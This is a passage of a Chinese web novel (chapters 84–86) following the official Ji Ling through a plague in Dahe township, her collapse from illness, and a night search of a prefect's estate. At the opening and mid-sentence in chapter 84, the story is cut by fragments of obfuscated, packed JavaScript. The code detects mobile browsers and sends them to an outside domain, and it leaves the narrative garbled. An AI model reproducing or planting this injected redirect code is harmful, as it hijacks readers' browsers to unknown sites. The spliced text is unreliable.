0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446345|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶毒的法子!” “她这样做,必叫她将来也死无葬身之地!” “京城来的官,能是什么好官?” “我看,她年纪轻轻,还是一个女人,一定是使了什么腌臜手段,否则,那群朝臣凭什么要听她的?” “你们没发现吗?姚知府和手下人已经不见了。这女人手段狠毒啊!” “我们大合乡真是倒了大运,兴许我们当日吃不上饭,就是被她给贪了!” …… 季泠驻足,听了几句,神色复杂。最后,在愈加伤人的咒骂中,转身离开。 徐行拨了几个得力侍从给她,同她一起进入这不知生死的疫局之中,见她日夜辛劳,却不得回报,更替她报不平。 “大人,您不顾危险,决然留在乡中,为乡民鞍前马后,任劳任怨,不说功劳也有苦劳,他们还这样说您,简直就是狗咬吕洞宾。您的善心都错付了!” 季泠回到帐内,只摆摆手道:“罢了,何苦与他们争论。这些乡民不至于是恶人,只是和庸人争执,无端自扰而已,他们只相信自己所见,我说再多也是无用。反正结果是好的就行了,我也不必和他们长久生活,随他们去吧。” 之后某日,东风渐起,悠远梵音在日幕下飘荡。 乡民们麋集于广场之前,虔诚聆听高僧在高台上的吟诵,注视经幡在风中飘扬。 一双双喑哑眼睛皆含了泪,手中捧着开光的平安符,摩挲着下方坠着的菩提子,盼望这场东风西去,便将他们的亲人也送往极乐。 三日诵经,季泠风评骤转,辱骂成了赞颂,白眼成了感恩,她一身青袍缓缓行于乡间沙土硬路上,袍缘已磨损起毛,几乎如同春日初生的一簇簇青草。 她微笑着承接乡民的善语,却也明白这不过是满足他们执念的回报。 而昔日的恶言,也是回报。 善恶难辨,只在人心。 她居于乡中,亲手摊开裹尸席,送走病亡之人,转身盥沃之后,再在病魔笼罩之中,随医者替那些妇人迎接呱呱坠地的婴儿,延续大合乡的未来。 她曾见过海难,见过倭患,后上过前线,躲过暗杀,如今经历旱灾,控制疫病,她该要有足够强大的力量,抵抗人心言语的善恶对她的侵蚀熔铸。 与此同时,临时的济病坊已经修建完成,季泠主持局面,将病重的乡民先迁入其中,避免感染更多人。 周边也依照她的命令,搭建几个粗糙的轻症营帐,收容患疫但不算严重的乡民,以此区分,轻重有别。 虽然先前已经通过火葬及时遏制住疫病的大规模爆发,可是活得的病患还是会将疫气传给贴身照顾的人。 季泠看着本就不多的医官和大夫倒下了近三分一,心里越发着急起来。 如今医者才是他们这些人生存的唯一指望。眼见连医官都难以自救,那些病入膏肓的乡民更是丧失希望,有人连吊命的药都不配合服用,只想着赶紧了此残生,免受折磨。 季泠从轻症营帐中走出来,站在济病坊前,深吸一口气。 这几日的热意稍退了些,她要兼顾济病坊与乡中事务,同时还要处理圈外官员传给他的武昌其余乡镇的咨询文书,略微力有不逮。 为了便于行事,她换下了官服,只穿一身粗衣,用一根布条将发束起,与众人擦肩而过时,便少有人能认出她的身份。 不幸中的万幸,她居然挺了这么多日,还没染疾,真是老天垂怜,她一定要继续挺住。 抬步走进济病坊,里头死亡灰气扑面而来,夹杂在冗长药气之中的,全是将亡之人的呜咽。 季泠蹙额,这样的气氛让她头疼。这两日死的人似乎更多了,有些乡民渐渐失去信心,这便给医者带来不小的麻烦。 毕竟,在如此关头下,他们治病已然分身乏术,再要腾力治心,实在强人所难。 正当她准备找一位医者了解现下重症之人的情况时,被一阵喧闹吸引过去。 84. 凌大夫圣手救疫疾 问诊探脉的医者,愁眉不展的官吏,熬药送药的亲友,垂死呜咽的病患,还有进进出出,来来往往,自请前来帮忙的乡民,他们在洒扫,在搬运,在搭手,在安慰。 济病坊内,如群山一样的人头涌动,如狂浪一样的声音交织,季泠在寻觅她刚刚无意中捕捉到的字眼。 “我知道方法!” “我知道根治之术!” 随着那道声音越来越近,季泠终于看见那个人。 那是一个年轻的姑娘,正一个个人求过去,想请求他们听听她的方法,却被一而再再而三地推搡开。 她又拦住一个侍疾的乡民,他手中才煮好的汤药差点泼洒,怒极便将她狠狠一推。 “哪里来的疯女人,别在这里挡道!” 季泠循声,在拥挤又混乱的济病坊中张望逆行,越过身前阻挡的几人,费劲地伸手抓住她。 “你知道怎么救治?”季泠皱着眉,还未穿过挡在她前方的人,只能透过缝隙传递话语。 那女子见终于有人回应她了,激动地回抓住季泠的手,彼此紧握,她们越过阻障,终于会面,细汗已密布于她们额前。 季泠即刻带着她到医帐之中,先问了她的来处。 “我在大合乡快一个月了,并未见过你。” 那姑娘见季泠穿着窄袖贴里,却是女子嗓音,眼神坚毅,可神形皆惫,难以判断她的身份。 “民女冒昧,敢问您是否认识这里主事的大人?” “我就是主事的大人,朝廷派下的赈灾官,季执庸。” 那姑娘眼睛瞬间亮了起来:“您是季大人?那位户部女官?” 季泠点点头:“时间紧迫,你先告诉我,你是从何而来?为何说你有法子?要知道,湖广有名的医官都被巡抚大人请了过来,他们都束手无策。” 那姑娘大喜过望,直直盯着季泠,几乎不舍得挪开眼,待她问完,才想起将自己的背囊放下。 “季大人不必紧张,我确实不是大合乡人,是随家人来武昌探亲的。我叫凌泉,家中世代行医,我五岁便可辨认草药,惊闻大合乡突发疫病,我便偷跑过来,想略尽绵力。” 季泠觉得她有些玩闹:“你未曾救治过患者?那你怎么敢说自己有法子?这可不是儿戏,全是活生生的人命。” “季大人眼下还有更好的法子吗?” 季泠默然,她确实没有更好的法子,如今有任何新招,她都愿意一试,总归死马当作活马医。 凌泉打开自己的背囊,里头放了几本古旧的羊皮书,还有一些她早已准备好的草药。 季泠便站在一旁看着这个姑娘在医帐中寻找药材,称量配置药方。 涉及医药之事,凌泉几乎忘我投入其中,铜秤之上各类药上了又下,下了又上,药炉之中,火起烟生,苦味逐渐弥漫。 季泠看着她端出的药,扇手闻了闻,道:“和医官先前的药似乎并无不同。” “是的,我在大合乡仔细观察好几日,医官的药改进了多次,药效确实越来越好,但都未改进到点上。譬如用的那味蒿草,医官遵循旧法,使用茎处,我参照一本古籍,将其用根与叶结合,能够大大提升药效。” 凌泉侃侃而谈,将羊皮书上记录指给季泠看。 “当日疫病突起时,大合乡还未封锁,有一人到武昌城内才发作,那时我尚不知是大合乡的疫病,接诊后试了几回药,他便痊愈了。后来我们才得知大合乡爆发了疫病。” 季泠并不通药理,可她知道该如何用人。 若凌泉的药真能救命,大合乡的疫病不再蔓延,赈灾进展加快,乡民能尽快恢复农事生活,她也能腾手解决税粮案。 只是,新药便如她焚尸一样,是冒险。 而眼下,这场冒险,她要替凌泉作保,还在她并不擅长的领域,风险实在太大。 “乡民未必愿意尝试新药,况且,就算我作保,他们也未必信任你。” “别告诉他们不就行了。”凌泉无所谓地耸耸肩。 季泠诧异道:“这怎么行?” “季大人,民女听闻,您为了截住疫病源头,不惜扛住全乡压力焚烧尸体。当日您可以不顾乡民反对,为何如今不行?更何况,并非我要贬低乡民,您也见过了,他们一辈子不识文墨,不懂变通,只认那些死理。您和他们说理,和田里的牛羊较劲没什么两样。” 季泠看着黑澄澄的药汁,若有所思。 确实,凌泉说的没错,她让渡的知情权并不能益于他们的存活,可乡民除了存活,并不需要别的东西,譬如毫无用处的道理,譬如他们痊愈的根据。 深思熟虑后,季泠点点头。 她端起汤药,已经放温了,虽然凌泉言之有理,可她仍需以防万一。 犹豫片刻,季泠将那碗新药一饮而下。 “我就坐在这儿,半日之后,若我没什么异样,就将此药用下去。” 凌泉目瞪口呆,“季大人,您,不怕我害您?” 季泠笑笑:“我看你在此处呆的日子也不算短了。你一个小姑娘都敢背着家里人,跑到疫区冒险,我自然也敢赌一把,喝你的药。况且,我向来用人不疑。” 她虽然不通医理,可凌泉那副挂心焦急的模样,并非作假,而她研药时的谨慎细致亦可见她的本事。 凌泉闻言,将药炉中剩下的药汁倒出,亦全部饮尽。 碗盏轻响间,季泠听到她说:“民女必不负大人信任。” 几疗程后,轻症营帐中的许多乡民已经痊愈,留观几日,没有反复发作,就回家去了。 济病坊中的情况却不容乐观。 有些乡民身体底子不好,几服药下去,丝毫不见好转。 病愈人数增多了,死亡人数没有减少。 古往今来,能从疫病之中脱险幸存的少之又少。新药能有这样的效果,已然是极佳了。 季泠与凌泉在济病坊中寸步不离地守了几日,观察新药的反应,却只能看着本有好转之兆的乡民撒手人寰。 “为什么会这样?此药本该有效才是,轻症者都已经痊愈了,为何重病之人不仅没有缓解,反而加重以致身亡?” 凌泉摇头叹息道:“疫病早已伤透他们的五脏六腑,如此一来已经是药石无医。” 季泠万分悲戚,可不待她整理好自己的情绪,便注意到凌泉独自一人躲在济病坊最深的角落中。 还是那样小的姑娘,独自一人从武昌府跑到大合乡,一个个人求过去,求他们听她的良方。辛苦制出了药,不待休息便开始救死扶伤,却只能眼睁睁看着病人撒手人寰。 她该多难过啊。 季泠缓缓走到她身后,蹲下来顺着她的背。 凌泉一颤,胡乱抹去泪水,眼巴巴地看着她。 “想哭便哭吧,我挡着,不叫人看见。” 凌泉再难抑制,哀痛欲绝,已顾不上季泠是什么官员,只一味揽住她,埋在她的肩头。 “季大人,是我医术不精,我救不回他们……” 季泠闻言,眼眶滚热,在轻抚她时,仰起头,张了张嘴,想要猛吸一口气,胸腔却不自觉地痉挛,她只好抿紧唇,偷偷咽下翻涌的酸意。 “凌泉,你知道吗,这几日,轻症营帐中的床板空出了好多。”她笑了一下,是屏气换来的轻松。 “这都是你的功劳呀,”她说得很缓慢,生怕这姑娘听不清,“若是没有你,如今安然回家的那些人,还要忍受灾后的分离,甚至要挪进济病坊中。” “我大致算过了,光是这两日,痊愈的就有百余人。凌泉,不过两日而已,你便救了一百多人,这是多大的功德啊。” 怀中的姑娘不再抽噎,可季泠肩头的湿意仍在蔓延。 她需要释放沉积的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446346|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。人命太沉重了,哪怕只是一条,从她们手中流去,却如巨浪冲击。 “所以凌泉,你已经是最最好的医者,我从未见过你这样勇敢细心、无私善良的姑娘。你是万千女子的榜样。” “季大人……”凌泉紧了紧双臂,将季泠揽得更紧,似乎这样,她便能从她身上获得一些坚持下去的力量。 “季大人!季大人!” 帘后传来急切呼唤,季泠心跳的急促,凌泉立刻放开她,随她一起站起来。 “何事?” “一个病人找您……” 季泠皱了皱眉,虽说她事必躬亲,可一个济病坊成百上千的病患,若是都要来找她,她岂不是累死了。 “有说是什么事吗?” 来传话的人见季泠神色淡漠,极力表达他的恳求:“是一位娘子……她快不行了……她将这个给您,只求您听她说几句话……” 季泠接过他递来的帕子,是那位袁娘子的东西。在凌泉还未来时,她便已经染疫了,她那唯一的女儿无人照拂,只能日日跟在他们身边。 那孩子还太小,不能进入济病坊,季泠常看到,她蹲在广场上,一个人安安静静的,不知在想什么。 “带我过去。” 季泠来到袁娘子身边,她的双颊几乎凹陷了,已呈灰败之色。 袁娘子一见她,挣扎着想起身,可已经无力支撑那具枯瘦的身体。 “别急,先躺下,慢慢说。” 季泠回握住她的手,柔声安抚她。 “季大人……您是一位好官……” 季泠怔愣住,已经意识到她想要说什么。 袁娘子气若游丝,季泠俯身去听。 “我不行了……能得您照拂,是我们大合乡百姓有幸……只是,只是……我担心我的孩子,她若是没了母亲,日子不会好过的……” 她越说,手攥得越紧,季泠无法想象这样瘦弱的女子竟还有这么大的力气,将她的手攥得生疼。 “您放心,我会替您关照您的孩子,您别说话,先好好休息……” 袁娘子终于得到了季泠的承诺,眼中流出泪来,滴在季泠手背上。 “好……好……” 带着挣扎后释然的困倦,袁娘子慢慢闭上眼。 季泠原以为她是睡着了,坐在她身前,想替她理一理散乱的鬓发,却发觉,她的手正从她手中滑落,她怎么也握不住。 可怖的闪念在她脑中流窜,季泠双唇颤抖,想要唤醒她。 “袁娘子,袁娘子!你别睡啊,你别走……你的孩子还在等你呢……你听见了吗?” “你的孩子是不是叫小花?她在等你呢……我昨日才告诉她,小花马上可以见到娘亲了…” 她紧紧合住她的双手,用额头贴着袁娘子的手,可额前的那双手冰凉下来。 低头的瞬间,季泠也再不想睁开眼。 她的头异常胀疼,连五脏六腑也被带动的疼痛了。 身后的布帘被掀开,惨白的日光照进来。 床板前多了几分明亮,多了两个人,将袁娘子的手抽离。 季泠睁开眼,有些恍惚,只觉三两人影从她眼前晃过。再一睁眼时,床板上的人已经消失不见了。 她扶着床板站起身,从左到右,看着济病坊。却觉得济病坊也随着她太阳穴的疼痛而膨胀,膨胀到撑得发白发虚,摸不清边界。 耳边喧嚣不停,她却如潜入水底般听不清晰。眼前虚影是一艘艘午夜航船,她在水底只觉得光怪陆离。 她脸上似乎汗津津的,水一直留下,好像是夏日的暴雨,她的衣襟也湿透了。 她伸出手,想要扶住什么,却不慎摸了个空。 那些直面死亡的病人的暗淡双眼突然掀起一片惊愕。 在那片惊愕中,惊呼与叹息都像极了挽歌,季泠重重倒在了地上。 85. 国之砥柱民之厚福 即使站在疫病封锁圈的闸外,即使离季泠那顶营帐还有一定的距离,徐行还是看见了。 凌泉拨开营帐的门帘,眉间的忧愁被徐行敏锐捕捉。 她点了头。 季泠没能逃过。 瞬间,徐行瞳孔骤缩。 众目睽睽之下,扶着览风的手连连后退。 隔着皂靴,他都能感受到沙砾在磨着他的脚底。 他听见阅云在说话,可那话怎就如刀子一样割来。 “少爷…季大人是在看见一位娘子病逝后,倒在济病坊里的…摔下去时,众人都没预料到,季大人头上的伤又被磕破了。凌大夫当即就替季大人医治了,只是…” “只是什么?” “侍疾的人说,凌大夫自进了季大人营帐后,再没出来过,已经快一日了…想来,情况不大好。” 入夜,封锁闸口开启,送药材的两人换了白衣,蒙上白布,洒上药水,才被许可进入。 经过第一顶营帐时,站在前方的人对帐前守卫说了几句话,药材便由守卫押送至医帐。 两人进入了那顶营帐。 入眼是布帘,撩开一层,还有一层,烛火便越来越明亮,药味也越来越闷沉。 直到最后一层,他掀开,眼神掠过榻上的凌泉,转而凝于床上的人。 药炉上的火已经熄灭了,热烟仍然冉冉。 他止步于此,只因她托付给他的责任,他再不能向前一步。 黑影在桌前颤抖,微光被黑影破成星点细碎,轻轻晃荡时,惊醒了榻上的人。 “是谁!”凌泉压低声音。 他身后的人走出,替他亮出身份。 “徐大人,您为何……” 徐行没有看她,只长久地看着床上的人。 他忍了两日,两日几乎如两年漫长。 他假装无事发生,与随行官员探讨赈灾情况,不停地批阅湖广各地送来的跟进察报,不停去信部署下一步安排,不停跟进京城那件事,并与湖广暗查之人联系。 分明有这么多事情要他处理,他已经筋疲力尽,可入夜闭上眼,褪去巡抚袍服,他便又想到她命悬一线。 他再也不能凭借任何公务来麻痹自己,于是决定冒险前来。 布帘之后,徐行攥拳抵住口鼻,似在极力压制,平静的双眼被蜡烛白烟熏出深重痛苦的气息。 凌泉已经了然,却只叹息:“徐大人,您不该来的。” 语罢,便将隔离的布帘拉回,只留给徐行一个狭小的缝隙,不过容纳一双眼的缝隙。 床上的人面色青灰,几乎看不见身上所覆薄衾的起伏。 他知道,她睡觉一向不安分的,如此乖巧的躺在那里,定是极端的沉疴重疾才会让她无力动弹。 他见过的死人不少,甚至在爬上吏部侍郎的这十年入仕生涯中,他亦亲手了结了不少人。 他从未想过,自己竟会害怕直面死亡。 布帘包围的世界如此寂静,以至于鲜花枯萎都会发出轰鸣,震得他神智不清。 “她会死吗……”这位巡抚大人的声音很微弱,几乎如暗夜中的萤火虫,只飞了一下,便不见了。 凌泉摇头,选择告诉他真相。 “我没把握。” 徐行喃喃:“怎会……” 他知道,大合乡的转机源于眼前这个女医的新药,可她竟然说,她没把握。 那他的航青怎么办? “季大人染病,其实是必然的。疫病最易侵袭身体有恙的人,若是身体底子好,就算接触了患者,兴许也未必会染上。季大人的身体,不好。” 徐行默然,他知道,她是习武的,怎会身体不好呢。就是因为知道她身体一向强健,他才许她来冒险的。 “季大人与灾民几乎同吃同住,可她疲于劳碌,失眠多梦,不思饮食,再加上这段时间,她在济病坊中,亲眼看着很多乡民病逝,气机郁滞,营血渐耗,疫气侵体。” “凌大夫,”徐行终于挪开眼,看向凌泉,流露恳切,“尽全力,什么药都可以,你说,我去寻……保下她。” 凌泉点头,犹豫片刻,透过布帘缝隙看着他:“季大人醒过一回,”凌泉拉上的布帘,那具躯体被无尽的白掩盖,再不留一点颜色给他。 “她吩咐了治疫之事,吩咐了赈灾之事,还吩咐了减税之事。最后,她给您留了一句话。” “什么话?”徐行阖上眼,不愿再看见那层白。 “航青多谢先生。” 凌泉的声音很轻,他面上所覆的白布濡湿,白布下的双唇翕动,却未再发出一言,只是转了身,穿过一层又一层坠地布帘,走出闸口。 她要谢他什么? 他不敢去想。 凌泉为何这时候告诉他这番话? 便是她做了一个准备,季泠的状况很不好。 否则,这样几乎如同遗言的话,又怎会如此不合时宜地告诉他。 徐行抬头,看向低垂夜幕。 湖广的夜真长啊。 他盼天明,却也怕天明。 季泠再度睁眼时,第一眼看见的是趴在她床前的凌泉。 她不知道自己睡了多久,可看凌泉的模样,也明白应该是过了许多天。 季泠尝试起身,动静惊醒了凌泉。 “季大人,您终于醒了,我还以为您……”凌泉激动地说不出话,探了脉,终于放心下来。 “你怎么守在这儿呢?你没休息吗?” 她病了,凌泉想必更忙才是。她都撑不住了,凌泉岂不是更危险。 “您病了好几日…那些医官束手无策,您的侍从下属又都是男子,我实在放心不下。您别忧心,这几日天气凉了些,疫症已经大大好转了,眼下您就该好好休息,莫再操劳。” 季泠看着这个姑娘,才不过几日,竟迅速成熟了。 前几日还在因内疚而痛哭,如今却能一边照顾她,一边兼顾一乡疫症,实在叫她惊讶又欣慰。 许多乡民知道季泠染疫,十分揪心,可奈何疫病封锁圈看管甚严,只能在乡中为她祈祷。 济病坊与轻症营帐的乡民想来探望,又因季泠重病未醒,不可打扰,被门前守卫拦住了。 兴许是因为这位奔于一线的官员一脚挂在鬼门关,原先燥乱的患者反而渐渐安静下来,格外听从医嘱,遵守官员安排,生怕辜负她的呕血付出。 连往日那些凄厉拒绝治疗的重病乡民也沉静下来,不再一味质疑凌泉的医术。 毕竟,季泠这样的身份,都将希望寄托在眼前这个年轻女医身上,朝廷中人又岂会拿她的命开玩笑。 季泠醒的那日,全乡百姓都知道了。可她沉疴未愈,仍不能起身,只由凌泉代她转达对乡民关怀的谢意。 季泠病愈之时,大合乡的疫病已得以控制。 徐行职责在身,作为巡抚,不能长期滞留在一府之内,必须到其他州府去勘灾赈济。 临行前一夜,季泠来到徐行营帐之中。 徐行已然整装待发,只待天亮,便要启程了。 季泠在他帐内四处转悠,却看见他床边条案上,放着她原先营帐中的那尊佛像。 前头延伸的木案上覆着厚厚香灰,将要隆起一座座银灰色的、蒙着薄雾的连绵雪山。 她失了神,看着那盏长明灯,还在延续着大合乡的微光。 一阵熟悉的气息从身后将她笼罩,她不由颤了一下,后才展笑,低头看着覆在她腹前的那双手,轻轻抚上。 澹澹春水无声消融她垒起的高墙。 “从来也不知道,徐大人竟然敬奉神佛。” 疲累而嘶哑的声音从她耳侧传来,却像是天外来音:“从前 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季泠拉着他到书案边坐下:“我写的应灾救疫的治疏,你也可以当作我的公务察报,反正回京之后总要递交的,不如现在就给你。” 徐行翻阅着,还是他熟悉的那手小楷,形骨端正不苟,意韵不衫不履。 “你仍未大好,怎耗神去做这些?这又不急于一时。” 他抬眼看去,桌灯毫无阻隔地映照着她的脸,她眼下的乌青与眉间的疲惫便无所遁形。 徐行放下小册,拉过季泠,季泠落在他的腿上,想要扶案站起,却被紧紧圈住,只好扶住他的肩。 徐行的语气中藏不住无奈,却又不忍心再训斥她了。 “你又不好好休息吗?身体是你自己的。若是你都不在意,旁人又怎能帮你呢?” 季泠拿起小册,认真欣赏自己的成果。 “我休息了的,只是凌泉一直让我呆在帐中,不让我出门吹风,我太无聊了些,索性就将此行奏报写了。你后续还要巡抚许多州府,我想着,大合乡已然是灾情最严重的地方,如今都有条不紊地解决了,那这份经验定是能够助你迁移到其它州府之上的。” 徐行抽出她手中的册子,妥帖合上,放入怀中:“放心,我定会仔仔细细地看着。湖广的百姓定会感戴你的恩德。” 季泠却摇摇头:“这不是我的恩德,是我的职责。无论从中所获是毁是誉,我都该这么做。” 徐行一震,怀中的小册贴在他的心口,滋生出普照万灵,永世不朽的热意。 “航青,”他专注地看着她,轻抚她消瘦的脸颊,“得臣如斯,是为国之砥柱,民之厚福。” 季泠见他如此珍重地将她的心血小心安放,沉默半晌,终是难以遏制地揽住他,将头埋在他的肩上。 其实,她也不过是一个俗子,一个凡人,并没办法做到完全打破得失毁誉,徐行对她的肯定,于她而言,是可大肆昭彰于天下的荣耀。 这是吏部侍郎、湖广巡抚的赞扬,是她先生的赏识,是她昔日,在建州春夏初遇徐行时,担忧赤金埋没淤泥之下,而对面的人柔和地说出,赤金即可蕴奇待价的认可。 她作为女子,有劈山搅海的本事,有赤金炼铸的坚韧。 她的唇与他的耳贴的那么近,以至于季泠喉间的咽动都被他轻易捕捉。 徐行听见,她那本如清泉淙淙铮鸣的嗓音如今蕴了几分遍历沧桑的舒缓,在他耳边轻轻响起:“君亦如是。” 他温暖有力的掌心抵在她的脊背之上,熨帖而轻柔地抚摸着她的坚正与艰辛。 季泠趴在他的肩头,感受到灼肤的热意从他的手心流到她凹陷的脊椎处,逆着天力从那条骨道渐渐向上攀爬,最后从她脖颈处开始,向肩臂缠绕流动地蔓延。 有些东西不一样了。 86. 见落花即夜寻其根 深夜,营帐中仅有季泠一人。夏夜实在闷热,她翻来覆去也睡不着,只好坐起身看着佛龛前的长明灯。 徐行离开时,天还未亮。 在天光浮现之前,大合乡万籁俱寂,营帐中的一切都掩在沉静的寐色中。 徐行坐在她床前时,她已经半梦半醒。她不知道徐行坐了多久,她只知道,在无边安宁里,她的手被他握住,让她突然在欲坠的困倦深渊中被现实扯回几分。 她放缓呼吸,维持深睡时的放松。直到她真的快要在伪装中睡着时,她感受到,手背传来十分轻柔的触感。随后是额间。 她忽然紧绷起来,听见急剧骤动的心跳声,以及他如风而逝的叹息。 如今,大合乡的灾情与疫病快要结束了,再用几日,她将武昌府秩序维持稳定,即需启程回京。可她此行来湖广的另一个目的还未达成。 因为疫病和徐行的到来,她的计划不得已被搁置。眼下,徐行和成珏都已撤离大合乡,她该将税银案提上日程,与躲在暗处之人争夺时间。 徐行在大合乡时,她尚且可以骗自己,赈灾事务要紧,先放下京城的恩怨。 其实她自己也知道,如今面对徐行,她已经无法全心信赖。昨夜,徐行身后将她圈住,她首先袭来的,便是戒备。 她不知道该如何平衡,似乎只能暂时逃避。 她以前怕是从未想过,原来情绪处理起来,远比公务还要累人。 眼下,徐行走了,脱离了温柔乡,她也该回归现实了。 帐外,一个人影映照在帐前白布上,如巨石一般屹立。季泠盯着那个人影,头疼不已。 徐行将阅云留下,是何目的?阅云可是负责情报的,且他近卫四人之中,就阅云与她最不对付了。 有这么一个死鱼脸在她面前盯着,她做什么都不便利。 季泠收回眼神,重新思考税银一事。那日,她实际上虽行的是查抄之事,可名义上是以姚知府之令提取储银。 她掌姚知府令牌印信,带领锦衣卫,又是京城派来的赈灾官,姚家人半信半疑,但迫于形势,只好给她指明存银之处。 随姚知府心腹指引而去,即使只是短暂路过,她也注意到异样——姚知府宅子中,存银的库房并不偏僻,算是一处宅子的中心地位。 这很正常。 可与那库房相近的一处院落,人迹罕至,若非处在前往库房的必经之道上,她估计是不会关注的。当时她带着锦衣卫经过那院子时,闻到一股香味。 季泠问他:“此院风景雅致,可是姚知府的主院?” 引路的心腹说,那院子是从前的库房,院中一口井里死了人,宅中许多人听见亡魂哭诉声,请了多位道士来作法,怎么也压不住,因此渐渐荒废了。 季泠似乎被吓到了,眼角抽搐几下,说了句实在可惜。 随后,季泠与姚知府心腹说,姚知府在武昌县乡赈灾,脱不开身,估计还要月余才能返回城中,因而十分惦念家中妻儿老小,托她定要替他关照一番。 她顺理成章进了后院。既见姚夫人,再着急,也必然需要寒暄一番。 季泠笑道:“素闻姚夫人与姚大人伉俪情深,今日一见,夫人容光焕发,便能看出姚大人对夫人的看重。”不论说什么,先夸她漂亮,准没错。 姚夫人喜笑颜开,又听季泠赞她那对桃花簪,她便大方地赠她一只,让季泠沾沾他们夫妻恩爱的喜气,又拉她逛了姚宅的前后花园,观赏了姚知府成亲以来为她种下的桃树。 每年一棵,三十余棵,从后园种到前院。 由此,她大抵知道,那处院落的特殊之处。 姚宅前宽后窄,若是要画张地图出来,那处院落,可正落在,金元宝的中央。 当官者,多少信风水,她不信,姚知府的安排只是凑巧。那处位置极佳的院落,离院落数十步的库房,院中飘来的花香,心腹后肩沾上的槐花瓣——他一定是刚从那处院子里出来,夜色浓重,鲜少人注意到他身上的花瓣。 槐花细小,香气清淡,日日处在其中的人,也不会在意这样的细节。 姚知府被成珏抓起来的当晚,季泠告诉成珏,未免打草惊蛇,不如就以姚知府预防灾情引发动乱的名义,派十数锦衣卫乔装武昌兵卒,守着姚宅与武昌府衙。 成珏思虑片刻,觉得此法确实可取。如此,姚家与外界断了联系,必也与京城断了联系。 姚知府狡兔三窟,一定在家中留了后手。等锦衣卫彻底撤出武昌府,京城知道姚家事,姚知府成了弃子,那间院子里的东西和姚知府的心腹可就没了保障。届时,她双拳难敌四手,完全无力招架。 次日日落时分,日行勘灾已经结束,阅云受召进入营帐内时,季泠刚收笔,给信口处盖上泥戳。 “阅云,将这封密信,送去在黄州府赈灾的方大人手上。” 阅云没接信,“少爷命卑职在此协助护卫您,不可离开。” 季泠单手扶桌,抬头看了他一眼,将信拍在桌上。 阅云当即抱拳请罪:“还请季大人,不要为难卑职。” “徐行命你在此协助我,若你不去送,那我只好亲自去了。” 阅云皱眉,头一次觉得季泠如此难伺候。虚抬了抬眼,季泠面无表情,阅云复又垂首,双手接过信件。 阅云带信驾马驰往黄州府时,凌泉进入营帐内。 月上树梢时,凌泉领着煎药侍女离开营帐,嘱咐帐前巡逻之人动静小些,季大人才病愈不久,需要静养,现下已经歇下了。 巡逻侍卫长是正是徐行年初时派到石竹巷守卫的宋勍,闻见此言立即应下。 随后,凌泉向宋勍借了一匹快马,带着侍女进武昌城采购给季泠调理身体的药材。 乌云蔽月,静谧无声。 一双手攀过矮墙,落于墙边高树上,又借高树曲廊,踮脚稳步落地。 此刻,姚宅之内有携甲动静,监视守卫正在换班,隐有火光闪烁,夹杂清点报数之声。 姚知府家中闲杂人等靠近那处荒院,反倒便宜她此时乘虚而入。换防交接大约持续一盏茶时间,成珏忙于处理姚知府首尾之事,姚家布防则由她亲自安排,其中一半是越山的手下。 其实她也可以光明正大地进来,可多一双眼睛,就多一分危险。季泠昨夜分析权衡,还是决定冒险夜行。 贴墙步入荒院内,季泠看见许多棵槐树。 她的猜想没错,姚知府心腹隐瞒的,即为他后手之地。 整处院子看起来确实荒芜,残枝败叶,满地落花,若不是有那么一间屋子亮着微火,又偏偏有两个人影照在窗纸上,她也会以为这真是一处荒院。 月色暗淡,无光则无影,无影利藏匿。亮光屋中有对话声传来。 “大人究竟是不是遇险了?兵卒在此守了一月有余,不见大人回来不说,连我们也不许进出。” “该不会是遇险,上头有人罩着,再大的事,都能压下来。”回答者正是那日前来为他们引路的心腹。能进入这出掩人耳目的荒院,必定对姚知府与京城的勾当了如指掌。 窗纸无声之间融了个小洞,无风夏夜中,一双玄眸填补了小洞的缝隙。 “况且你看,除了门前的锦衣卫之外,里头全是衙门的官兵。既是府衙之人,那必定是奉大人之命前来防护。旱灾正乱,兴许有人浑水摸鱼。京城看的紧,湖广司的人被那新郎中全换了,大人怕是正忙于与那赈灾官员周旋,分身乏术。” 一窗之隔,季泠屏息凝神。姚知府与他身边的人,消息通达程度,远超她想象。难怪她前脚才到湖广,姚知府紧接着就把戏安排好了。是她动作太大,引人忌惮,倒也情理之中。 “可上回粮仓与漕船一事…是否动静太大了些?那京城赈灾官员来湖广之前,大人曾说过,除了户部那应大人外,吏部徐大人似乎也有动作。” “那黄同知与我们不是一路人,待那些京城来的赈灾官员一走,就该腾出手料理了,避免有朝一日,东窗事发。应大人,徐大人,侍郎而已,咱们头上的人,侍郎也不敢轻易动。” 扒在窗沿的手筋骨骤显,指节泛白。姚知府是谨慎的,这处荒院年久失修,窗子边缘风吹日晒,已然落漆开裂。分裂出的木刺扎入她的手心与指腹,匐于窗边的人毫无知觉。 应大人,不是他们上头的人? 她让越山找个可靠的,在守卫攀谈时谈论一下应大人。姚知府心腹如今与外界断了联系,必然会格外关注守卫的只言片语。而得知了应大人后,多少也会与知情者谈论一二,如此一来,她也能听到一些关键。 可她没想到,关键竟然是——应惟绅不是他们上头的人。 税银操手,另有其人。 那么,户部之中还有谁?答案呼之欲出。 她这样担惊受怕月余,搜寻应惟绅的证据却徒劳无功,原来竟然是,全然找错了方向。 可那人,怎会与陕西扯上干系呢?据她所知,户部高官只有应大人是出自陕西的。 屋内,烛火摇曳,两人交谈声戛然而止。 当日带路的心腹看向窗边,有一条细细的,如河畔柳枝般的动影,被烛火投射在窗纸上的光亮放大许多。而那人似乎仍未发觉自己已经暴露。 一人悄然起身,另一人翻动书页,似在沉思。 褐色直裰融入黑暗之中,穿过半掩的门,一声闷哼,传来人倒地的声音。 屋中人合上书,抚须微笑,起身走向荒院之中。黑夜里,一具身体倒在门前。 